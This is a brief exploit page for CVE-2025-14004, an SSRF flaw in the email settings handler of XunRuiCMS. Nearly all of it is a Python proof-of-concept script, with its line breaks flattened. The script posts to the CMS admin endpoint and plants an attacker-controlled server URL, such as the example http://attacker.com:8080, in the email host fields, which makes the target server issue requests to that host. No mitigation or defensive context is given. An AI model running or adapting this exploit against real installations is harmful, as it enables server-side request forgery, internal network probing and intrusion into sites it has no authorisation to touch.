CVE-2025-14004 dayrui XunRuiCMS Email组件SSRF漏洞

import requests import sys # CVE-2025-14004 PoC - XunRuiCMS SSRF in Email Setting Handler # Target: /admind45f74adbd95.php?c=email&m=add def exploit_srf(target_url, attacker_server): """ Exploit SSRF vulnerability in XunRuiCMS email settings :param target_url: Target XunRuiCMS installation URL :param attacker_server: Attacker's controlled server URL """ endpoint = f"{target_url}/admind45f74adbd95.php" params = { 'c': 'email', 'm': 'add' } # Inject malicious URL via email configuration parameter data = { 'email_host': attacker_server, 'email_port': '80', 'email_user': '[email protected]', 'email_pass': 'password', 'email_from': attacker_server, 'email_test': '1' } try: response = requests.post(endpoint, params=params, data=data, timeout=10) print(f"[*] Request sent to {endpoint}") print(f"[*] Response status: {response.status_code}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None def main(): if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <attacker_server>") print(f"Example: python {sys.argv[0]} http://target.com http://attacker.com:8080") sys.exit(1) target = sys.argv[1] server = sys.argv[2] print(f"[*] Exploiting CVE-2025-14004 SSRF on {target}") exploit_srf(target, server) if __name__ == "__main__": main()